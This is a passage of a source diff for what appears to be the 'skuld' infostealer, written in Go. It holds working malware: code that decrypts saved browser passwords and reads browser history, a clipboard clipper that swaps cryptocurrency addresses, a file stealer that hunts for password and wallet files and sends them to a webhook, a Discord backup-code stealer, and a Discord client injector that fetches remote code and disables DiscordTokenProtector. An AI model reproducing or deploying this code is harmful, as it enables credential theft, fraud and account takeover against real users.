return pkcs5UnPadding(sq, block.BlockSize()), nil
|
||||
}
|
||||
|
||||
func paddingZero(s []byte, l int) []byte {
|
||||
h := l - len(s)
|
||||
if h <= 0 {
|
||||
return s
|
||||
}
|
||||
for i := len(s); i < l; i++ {
|
||||
s = append(s, 0)
|
||||
}
|
||||
return s
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
package browsers
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"errors"
|
||||
)
|
||||
|
||||
func (c *Chromium) Decrypt(encryptPass []byte) ([]byte, error) {
|
||||
if len(c.MasterKey) == 0 {
|
||||
return DPAPI(encryptPass)
|
||||
}
|
||||
|
||||
if len(encryptPass) < 15 {
|
||||
return nil, errors.New("empty password")
|
||||
}
|
||||
|
||||
crypted := encryptPass[15:]
|
||||
nounce := encryptPass[3:15]
|
||||
|
||||
block, err := aes.NewCipher(c.MasterKey)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
blockMode, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
origData, err := blockMode.Open(nil, nounce, crypted, nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return origData, nil
|
||||
}
|
||||
|
||||
func (g *Gecko) Decrypt(encryptPass []byte) ([]byte, error) {
|
||||
PBE, err := NewASN1PBE(encryptPass)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var key []byte
|
||||
return PBE.Decrypt(g.MasterKey, key)
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
package browsers
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
|
||||
_ "modernc.org/sqlite"
|
||||
)
|
||||
|
||||
func (c *Chromium) GetDownloads(path string) (downloads []Download, err error) {
|
||||
db, err := GetDBConnection(filepath.Join(path, "History"))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := db.Query("SELECT tab_url, target_path FROM downloads")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var (
|
||||
url, path string
|
||||
)
|
||||
if err = rows.Scan(&url, &path); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if url == "" || path == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
downloads = append(downloads, Download{
|
||||
URL: url,
|
||||
TargetPath: path,
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
return downloads, nil
|
||||
}
|
||||
|
||||
func (g *Gecko) GetDownloads(path string) (downloads []Download, err error) {
|
||||
db, err := GetDBConnection(filepath.Join(path, "places.sqlite"))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := db.Query("SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var (
|
||||
content, url string
|
||||
placeID, dateAdded int64
|
||||
)
|
||||
|
||||
if err = rows.Scan(&placeID, &content, &url, &dateAdded); err != nil {
|
||||
continue
|
||||
}
|
||||
if url == "" || path == "" {
|
||||
continue
|
||||
}
|
||||
re := regexp.MustCompile(`file:///(.*?),`)
|
||||
result := re.FindStringSubmatch(content)
|
||||
if len(result) == 0 {
|
||||
continue
|
||||
}
|
||||
downloads = append(downloads, Download{
|
||||
URL: url,
|
||||
TargetPath: result[1],
|
||||
})
|
||||
}
|
||||
|
||||
return downloads, nil
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
package browsers
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
|
||||
_ "modernc.org/sqlite"
|
||||
)
|
||||
|
||||
func (c *Chromium) GetHistory(path string) (history []History, err error) {
|
||||
db, err := GetDBConnection(filepath.Join(path, "History"))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := db.Query("SELECT url, title, visit_count, last_visit_time FROM urls")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var (
|
||||
url, title string
|
||||
visitCount int
|
||||
lastVisitTime int64
|
||||
)
|
||||
if err = rows.Scan(&url, &title, &visitCount, &lastVisitTime); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if url == "" || title == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
history = append(history, History{
|
||||
URL: url,
|
||||
Title: title,
|
||||
VisitCount: visitCount,
|
||||
LastVisitTime: lastVisitTime,
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
return history, nil
|
||||
}
|
||||
|
||||
func (g *Gecko) GetHistory(path string) (history []History, err error) {
|
||||
db, err := GetDBConnection(filepath.Join(path, "places.sqlite"))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := db.Query("SELECT url, title, visit_count, last_visit_date FROM moz_places")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var (
|
||||
url, title string
|
||||
visitCount int
|
||||
lastVisitTime int64
|
||||
)
|
||||
if err = rows.Scan(&url, &title, &visitCount, &lastVisitTime); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if url == "" || title == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
history = append(history, History{
|
||||
URL: url,
|
||||
Title: title,
|
||||
VisitCount: visitCount,
|
||||
LastVisitTime: lastVisitTime,
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
return history, nil
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
package browsers
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"os"
|
||||
|
||||
"path/filepath"
|
||||
|
||||
_ "modernc.org/sqlite"
|
||||
)
|
||||
|
||||
func (c *Chromium) GetLogins(path string) (logins []Login, err error) {
|
||||
db, err := GetDBConnection(filepath.Join(path, "Login Data"))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := db.Query("SELECT action_url, username_value, password_value, date_created FROM logins")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var (
|
||||
url, username string
|
||||
pwd, password []byte
|
||||
create int64
|
||||
)
|
||||
if err := rows.Scan(&url, &username, &pwd, &create); err != nil {
|
||||
continue
|
||||
}
|
||||
if url == "" || username == "" || pwd == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
login := Login{
|
||||
Username: username,
|
||||
LoginURL: url,
|
||||
}
|
||||
|
||||
password, err = c.Decrypt(pwd)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
login.Password = string(password)
|
||||
logins = append(logins, login)
|
||||
}
|
||||
|
||||
return logins, nil
|
||||
}
|
||||
|
||||
func (g *Gecko) GetLogins(path string) (logins []Login, err error) {
|
||||
s, err := os.ReadFile(path + "\\logins.json")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var data struct {
|
||||
NextId int `json:"nextId"`
|
||||
Logins []struct {
|
||||
Hostname string `json:"hostname"`
|
||||
EncryptedUsername string `json:"encryptedUsername"`
|
||||
EncryptedPassword string `json:"encryptedPassword"`
|
||||
}
|
||||
}
|
||||
if err = json.Unmarshal(s, &data); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
for _, v := range data.Logins {
|
||||
decodedUser, err := base64.StdEncoding.DecodeString(v.EncryptedUsername)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
decodedPass, err := base64.StdEncoding.DecodeString(v.EncryptedPassword)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
decryptedUser, err := g.Decrypt(decodedUser)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
decryptedPass, err := g.Decrypt(decodedPass)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
logins = append(logins, Login{
|
||||
Username: string(decryptedUser),
|
||||
Password: string(decryptedPass),
|
||||
LoginURL: v.Hostname,
|
||||
})
|
||||
}
|
||||
|
||||
return logins, nil
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
package browsers
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/hackirby/skuld/utils/fileutil"
|
||||
_ "modernc.org/sqlite"
|
||||
)
|
||||
|
||||
func (c *Chromium) GetMasterKey(path string) error {
|
||||
b, err := fileutil.ReadFile(filepath.Join(path, "Local State"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove("masterkey_db")
|
||||
|
||||
var data struct {
|
||||
OsCrypt struct {
|
||||
EncryptedKey string `json:"encrypted_key"`
|
||||
} `json:"os_crypt"`
|
||||
}
|
||||
err = json.Unmarshal([]byte(b), &data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
key, err := base64.StdEncoding.DecodeString(data.OsCrypt.EncryptedKey)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
c.MasterKey, err = DPAPI(key[5:])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (g *Gecko) GetMasterKey(path string) error {
|
||||
var globalSalt, metaBytes, nssA11, nssA102, key []byte
|
||||
|
||||
keyDB, err := GetDBConnection(filepath.Join(path, "key4.db"))
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err = keyDB.QueryRow(`SELECT item1, item2 FROM metaData WHERE id = 'password'`).Scan(&globalSalt, &metaBytes); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err = keyDB.QueryRow(`SELECT a11, a102 from nssPrivate`).Scan(&nssA11, &nssA102); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
metaPBE, err := NewASN1PBE(metaBytes)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
k, err := metaPBE.Decrypt(globalSalt, key)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if !bytes.Contains(k, []byte("password-check")) {
|
||||
return errors.New("password check error")
|
||||
}
|
||||
|
||||
if !bytes.Equal(nssA102, []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}) {
|
||||
return errors.New("nssA102 error")
|
||||
}
|
||||
|
||||
nssPBE, err := NewASN1PBE(nssA11)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
finallyKey, err := nssPBE.Decrypt(globalSalt, key)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
g.MasterKey = finallyKey[:24]
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package browsers
|
||||
|
||||
func GetChromiumBrowsers() map[string]string {
|
||||
return map[string]string{
|
||||
"Chromium": "AppData\\Local\\Chromium\\User Data",
|
||||
"Thorium": "AppData\\Local\\Thorium\\User Data",
|
||||
"Chrome": "AppData\\Local\\Google\\Chrome\\User Data",
|
||||
"Chrome (x86)": "AppData\\Local\\Google(x86)\\Chrome\\User Data",
|
||||
"Chrome SxS": "AppData\\Local\\Google\\Chrome SxS\\User Data",
|
||||
"Maple": "AppData\\Local\\MapleStudio\\ChromePlus\\User Data",
|
||||
"Iridium": "AppData\\Local\\Iridium\\User Data",
|
||||
"7Star": "AppData\\Local\\7Star\\7Star\\User Data",
|
||||
"CentBrowser": "AppData\\Local\\CentBrowser\\User Data",
|
||||
"Chedot": "AppData\\Local\\Chedot\\User Data",
|
||||
"Vivaldi": "AppData\\Local\\Vivaldi\\User Data",
|
||||
"Kometa": "AppData\\Local\\Kometa\\User Data",
|
||||
"Elements": "AppData\\Local\\Elements Browser\\User Data",
|
||||
"Epic Privacy Browser": "AppData\\Local\\Epic Privacy Browser\\User Data",
|
||||
"Uran": "AppData\\Local\\uCozMedia\\Uran\\User Data",
|
||||
"Fenrir": "AppData\\Local\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer",
|
||||
"Catalina": "AppData\\Local\\CatalinaGroup\\Citrio\\User Data",
|
||||
"Coowon": "AppData\\Local\\Coowon\\Coowon\\User Data",
|
||||
"Liebao": "AppData\\Local\\liebao\\User Data",
|
||||
"QIP Surf": "AppData\\Local\\QIP Surf\\User Data",
|
||||
"Orbitum": "AppData\\Local\\Orbitum\\User Data",
|
||||
"Dragon": "AppData\\Local\\Comodo\\Dragon\\User Data",
|
||||
"360Browser": "AppData\\Local\\360Browser\\Browser\\User Data",
|
||||
"Maxthon": "AppData\\Local\\Maxthon3\\User Data",
|
||||
"K-Melon": "AppData\\Local\\K-Melon\\User Data",
|
||||
"CocCoc": "AppData\\Local\\CocCoc\\Browser\\User Data",
|
||||
"Brave": "AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data",
|
||||
"Amigo": "AppData\\Local\\Amigo\\User Data",
|
||||
"Torch": "AppData\\Local\\Torch\\User Data",
|
||||
"Sputnik": "AppData\\Local\\Sputnik\\Sputnik\\User Data",
|
||||
"Edge": "AppData\\Local\\Microsoft\\Edge\\User Data",
|
||||
"DCBrowser": "AppData\\Local\\DCBrowser\\User Data",
|
||||
"Yandex": "AppData\\Local\\Yandex\\YandexBrowser\\User Data",
|
||||
"UR Browser": "AppData\\Local\\UR Browser\\User Data",
|
||||
"Slimjet": "AppData\\Local\\Slimjet\\User Data",
|
||||
"Opera": "AppData\\Roaming\\Opera Software\\Opera Stable",
|
||||
"OperaGX": "AppData\\Roaming\\Opera Software\\Opera GX Stable",
|
||||
}
|
||||
}
|
||||
|
||||
func GetGeckoBrowsers() map[string]string {
|
||||
return map[string]string{
|
||||
"Firefox": "AppData\\Roaming\\Mozilla\\Firefox\\Profiles",
|
||||
"SeaMonkey": "AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles",
|
||||
"Waterfox": "AppData\\Roaming\\Waterfox\\Profiles",
|
||||
"K-Meleon": "AppData\\Roaming\\K-Meleon\\Profiles",
|
||||
"Thunderbird": "AppData\\Roaming\\Thunderbird\\Profiles",
|
||||
"IceDragon": "AppData\\Roaming\\Comodo\\IceDragon\\Profiles",
|
||||
"Cyberfox": "AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles",
|
||||
"BlackHaw": "AppData\\Roaming\\NETGATE Technologies\\BlackHaw\\Profiles",
|
||||
"Pale Moon": "AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles",
|
||||
"Mercury": "AppData\\Roaming\\mercury\\Profiles",
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
package browsers
|
||||
|
||||
type Chromium struct {
|
||||
MasterKey []byte
|
||||
}
|
||||
|
||||
type Gecko struct {
|
||||
MasterKey []byte
|
||||
}
|
||||
|
||||
type Browser struct {
|
||||
Name string
|
||||
Path string
|
||||
User string
|
||||
}
|
||||
|
||||
type Profile struct {
|
||||
Name string
|
||||
Path string
|
||||
Browser Browser
|
||||
|
||||
Logins []Login
|
||||
Cookies []Cookie
|
||||
CreditCards []CreditCard
|
||||
Downloads []Download
|
||||
History []History
|
||||
}
|
||||
|
||||
type Login struct {
|
||||
Username string
|
||||
Password string
|
||||
LoginURL string
|
||||
}
|
||||
|
||||
type Cookie struct {
|
||||
Host string
|
||||
Name string
|
||||
Path string
|
||||
Value string
|
||||
ExpireDate int64
|
||||
}
|
||||
|
||||
type CreditCard struct {
|
||||
GUID string
|
||||
Name string
|
||||
ExpirationYear string
|
||||
ExpirationMonth string
|
||||
Number string
|
||||
Address string
|
||||
Nickname string
|
||||
}
|
||||
|
||||
type Download struct {
|
||||
TargetPath string
|
||||
URL string
|
||||
}
|
||||
|
||||
type History struct {
|
||||
Title string
|
||||
URL string
|
||||
VisitCount int
|
||||
LastVisitTime int64
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,34 @@
|
||||
package clipper
|
||||
|
||||
import (
|
||||
"context"
|
||||
"golang.design/x/clipboard"
|
||||
"regexp"
|
||||
)
|
||||
|
||||
// Run watches the clipboard for cryptocurrency addresses and replaces them with the given address.
|
||||
// The supported cryptocurrencies are BTC, BCH, ETH, XMR, LTC, XCH, XLM, TRX, ADA, DASH, and DOGE.
|
||||
func Run(cryptos map[string]string) {
|
||||
var regexs = map[string]*regexp.Regexp{
|
||||
"BTC": regexp.MustCompile("^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$"),
|
||||
"BCH": regexp.MustCompile("^((bitcoincash:)?(q|p)[a-z0-9]{41})"),
|
||||
"ETH": regexp.MustCompile("^0x[a-fA-F0-9]{40}$"),
|
||||
"XMR": regexp.MustCompile("^4([0-9]|[A-B])(.){93}$"),
|
||||
"LTC": regexp.MustCompile("^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$"),
|
||||
"XCH": regexp.MustCompile("^xch1[a-zA-HJ-NP-Z0-9]{58}$"),
|
||||
"XLM": regexp.MustCompile("^G[0-9a-zA-Z]{55}$"),
|
||||
"TRX": regexp.MustCompile("^T[A-Za-z1-9]{33}$"),
|
||||
"ADA": regexp.MustCompile("addr1[a-z0-9]+"),
|
||||
"DASH": regexp.MustCompile("^X[1-9A-HJ-NP-Za-km-z]{33}$"),
|
||||
"DOGE": regexp.MustCompile("^(D|A|9)[a-km-zA-HJ-NP-Z1-9]{33}$"),
|
||||
}
|
||||
|
||||
|
||||
for data := range clipboard.Watch(context.TODO(), clipboard.FmtText) {
|
||||
for crypto, regex := range regexs {
|
||||
if regex.Match(data) && regex.MatchString(cryptos[crypto]) {
|
||||
clipboard.Write(clipboard.FmtText, []byte(cryptos[crypto]))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,182 @@
|
||||
package commonfiles
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"os"
|
||||
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/hackirby/skuld/utils/fileutil"
|
||||
"github.com/hackirby/skuld/utils/hardware"
|
||||
"github.com/hackirby/skuld/utils/requests"
|
||||
)
|
||||
|
||||
func Run(webhook string) {
|
||||
tempDir := filepath.Join(os.TempDir(), "commonfiles-temp")
|
||||
os.MkdirAll(tempDir, os.ModePerm)
|
||||
defer os.RemoveAll(tempDir)
|
||||
|
||||
extensions := []string{
|
||||
".txt",
|
||||
".log",
|
||||
".doc",
|
||||
".docx",
|
||||
".xls",
|
||||
".xlsx",
|
||||
".ppt",
|
||||
".pptx",
|
||||
".odt",
|
||||
".pdf",
|
||||
".rtf",
|
||||
".json",
|
||||
".csv",
|
||||
".db",
|
||||
".jpg",
|
||||
".jpeg",
|
||||
".png",
|
||||
".gif",
|
||||
".webp",
|
||||
".mp4",
|
||||
}
|
||||
keywords := []string{
|
||||
"account",
|
||||
"password",
|
||||
"secret",
|
||||
"mdp",
|
||||
"motdepass",
|
||||
"mot_de_pass",
|
||||
"login",
|
||||
"paypal",
|
||||
"banque",
|
||||
"seed",
|
||||
"banque",
|
||||
"bancaire",
|
||||
"bank",
|
||||
"metamask",
|
||||
"wallet",
|
||||
"crypto",
|
||||
"exodus",
|
||||
"atomic",
|
||||
"auth",
|
||||
"mfa",
|
||||
"2fa",
|
||||
"code",
|
||||
"memo",
|
||||
"compte",
|
||||
"token",
|
||||
"password",
|
||||
"credit",
|
||||
"card",
|
||||
"mail",
|
||||
"address",
|
||||
"phone",
|
||||
"permis",
|
||||
"number",
|
||||
"backup",
|
||||
"database",
|
||||
"config",
|
||||
}
|
||||
|
||||
found := 0
|
||||
for _, user := range hardware.GetUsers() {
|
||||
for _, dir := range []string{
|
||||
filepath.Join(user, "Desktop"),
|
||||
filepath.Join(user, "Downloads"),
|
||||
filepath.Join(user, "Documents"),
|
||||
filepath.Join(user, "Videos"),
|
||||
filepath.Join(user, "Pictures"),
|
||||
filepath.Join(user, "Music"),
|
||||
filepath.Join(user, "OneDrive"),
|
||||
} {
|
||||
if _, err := os.Stat(dir); err != nil {
|
||||
continue
|
||||
}
|
||||
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
if info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
if info.Size() > 2*1024*1024 {
|
||||
return nil
|
||||
}
|
||||
for _, keyword := range keywords {
|
||||
if !strings.Contains(strings.ToLower(info.Name()), keyword) {
|
||||
continue
|
||||
}
|
||||
for _, extension := range extensions {
|
||||
if !strings.HasSuffix(strings.ToLower(info.Name()), extension) {
|
||||
continue
|
||||
}
|
||||
dest := filepath.Join(tempDir, strings.Split(user, "\\")[2], info.Name())
|
||||
if fileutil.Exists(dest) {
|
||||
dest = filepath.Join(tempDir, strings.Split(user, "\\")[2], fmt.Sprintf("%s_%s", info.Name(), randString(4)))
|
||||
}
|
||||
os.MkdirAll(filepath.Join(tempDir, strings.Split(user, "\\")[2]), os.ModePerm)
|
||||
|
||||
err := fileutil.CopyFile(path, dest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
break
|
||||
}
|
||||
found++
|
||||
break
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
if found == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
tempZip := filepath.Join(os.TempDir(), "commonfiles.zip")
|
||||
password := randString(16)
|
||||
fileutil.ZipWithPassword(tempDir, tempZip, password)
|
||||
defer os.Remove(tempZip)
|
||||
|
||||
link, err := requests.Upload(tempZip)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
requests.Webhook(webhook, map[string]interface{}{
|
||||
"embeds": []map[string]interface{}{
|
||||
{
|
||||
"title": "Files Stealer",
|
||||
"description": "```" + fileutil.Tree(tempDir, "") + "```",
|
||||
"fields": []map[string]interface{}{
|
||||
{
|
||||
"name": "Archive Link",
|
||||
"value": "[Download here](" + link + ")",
|
||||
"inline": true,
|
||||
},
|
||||
{
|
||||
"name": "Archive Password",
|
||||
"value": "`" + password + "`",
|
||||
"inline": true,
|
||||
},
|
||||
{
|
||||
"name": "Files Found",
|
||||
"value": fmt.Sprintf("`%d`", found),
|
||||
"inline": true,
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
func randString(n int) string {
|
||||
var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
|
||||
b := make([]rune, n)
|
||||
for i := range b {
|
||||
b[i] = letters[rand.Intn(len(letters))]
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
package discodes
|
||||
|
||||
import (
|
||||
"github.com/hackirby/skuld/utils/hardware"
|
||||
"github.com/hackirby/skuld/utils/requests"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func Run(webhook string) {
|
||||
for _, user := range hardware.GetUsers() {
|
||||
for _, dir := range []string{
|
||||
filepath.Join(user, "Desktop"),
|
||||
filepath.Join(user, "Downloads"),
|
||||
filepath.Join(user, "Documents"),
|
||||
filepath.Join(user, "Videos"),
|
||||
filepath.Join(user, "Pictures"),
|
||||
filepath.Join(user, "Music"),
|
||||
filepath.Join(user, "OneDrive"),
|
||||
} {
|
||||
if _, err := os.Stat(dir); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
if info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
if info.Size() > 2*1024*1024 {
|
||||
return nil
|
||||
}
|
||||
if !strings.HasPrefix(info.Name(), "discord_backup_codes") {
|
||||
return nil
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
requests.Webhook(webhook, map[string]interface{}{
|
||||
"content": "`" + path + "`",
|
||||
"embeds": []map[string]interface{}{
|
||||
{
|
||||
"title": "Discord Backup Codes",
|
||||
"description": "```" + string(data) + "```",
|
||||
},
|
||||
},
|
||||
})
|
||||
return nil
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,169 @@
|
||||
package discordinjection
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"errors"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"golang.org/x/text/encoding/charmap"
|
||||
|
||||
"encoding/json"
|
||||
|
||||
"github.com/hackirby/skuld/utils/hardware"
|
||||
"github.com/shirou/gopsutil/v3/process"
|
||||
)
|
||||
|
||||
func Run(injection_url string, webhook string) {
|
||||
for _, user := range hardware.GetUsers() {
|
||||
BypassBetterDiscord(user)
|
||||
BypassTokenProtector(user)
|
||||
for _, dir := range []string{
|
||||
filepath.Join(user, "AppData", "Local", "discord"),
|
||||
filepath.Join(user, "AppData", "Local", "discordcanary"),
|
||||
filepath.Join(user, "AppData", "Local", "discordptb"),
|
||||
filepath.Join(user, "AppData", "Local", "discorddevelopment"),
|
||||
} {
|
||||
InjectDiscord(dir, injection_url, webhook)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func InjectDiscord(dir string, injection_url string, webhook string) error {
|
||||
files, err := filepath.Glob(filepath.Join(dir, "app-*", "modules", "discord_desktop_core-*", "discord_desktop_core"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(files) == 0 {
|
||||
return errors.New("no discord_desktop_core found")
|
||||
}
|
||||
|
||||
core := files[0]
|
||||
|
||||
os.MkdirAll(filepath.Join(core, "initiation"), os.ModePerm)
|
||||
|
||||
resp, err := http.Get(injection_url)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if !bytes.Contains(body, []byte("core.asar")) {
|
||||
return errors.New("core.asar not in body")
|
||||
}
|
||||
|
||||
body = bytes.Replace(body, []byte("%WEBHOOK%"), []byte(webhook), 1)
|
||||
|
||||
err = os.WriteFile(filepath.Join(core, "index.js"), body, 0644)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func BypassBetterDiscord(user string) error {
|
||||
bd := filepath.Join(user, "AppData", "Roaming", "BetterDiscord", "data", "betterdiscord.asar")
|
||||
f, err := os.Open(bd)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
r := bufio.NewReader(f)
|
||||
decoder := charmap.CodePage437.NewDecoder()
|
||||
decodedReader := decoder.Reader(r)
|
||||
|
||||
txt, err := io.ReadAll(decodedReader)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
f, err = os.Create(bd)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
w := bufio.NewWriter(f)
|
||||
encoder := charmap.CodePage437.NewEncoder()
|
||||
encodedWriter := encoder.Writer(w)
|
||||
|
||||
if _, err = encodedWriter.Write(bytes.ReplaceAll(txt, []byte("api/webhooks"), []byte("ByHackirby"))); err != nil {
|
||||
return err
|
||||
}
|
||||
if err = w.Flush(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func BypassTokenProtector(user string) error {
|
||||
path := filepath.Join(user, "AppData", "Roaming", "DiscordTokenProtector")
|
||||
config := path + "\\config.json"
|
||||
|
||||
processes, _ := process.Processes()
|
||||
|
||||
for _, p := range processes {
|
||||
name, _ := p.Name()
|
||||
if strings.Contains(strings.ToLower(name), "discordtokenprotector") {
|
||||
p.Kill()
|
||||
}
|
||||
}
|
||||
|
||||
for _, i := range []string{"DiscordTokenProtector.exe", "ProtectionPayload.dll", "secure.dat"} {
|
||||
_ = os.Remove(path + "\\" + i)
|
||||
}
|
||||
if _, err := os.Stat(config); os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
|
||||
file, err := os.Open(config)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
var item map[string]interface{}
|
||||
if err := json.NewDecoder(file).Decode(&item); err != nil {
|
||||
return err
|
||||
}
|
||||
item["auto_start"] = false
|
||||
item["auto_start_discord"] = false
|
||||
item["integrity"] = false
|
||||
item["integrity_allowbetterdiscord"] = false
|
||||
item["integrity_checkexecutable"] = false
|
||||
item["integrity_checkhash"] = false
|
||||
item["integrity_checkmodule"] = false
|
||||
item["integrity_checkscripts"] = false
|
||||
item["integrity_checkresource"] = false
|
||||
item["integrity_redownloadhashes"] = false
|
||||
item["iterations_iv"] = 364
|
||||
item["iterations_key"] = 457
|
||||
item["version"] = 69420
|
||||
|
||||
file, err = os.Create(config)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
encoder := json.NewEncoder(file)
|
||||
encoder.SetIndent("", " ")
|
||||
encoder.SetEscapeHTML(false)
|
||||
if err := encoder.Encode(&item); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
package fakeerror
|
||||
|
||||
import (
|
||||
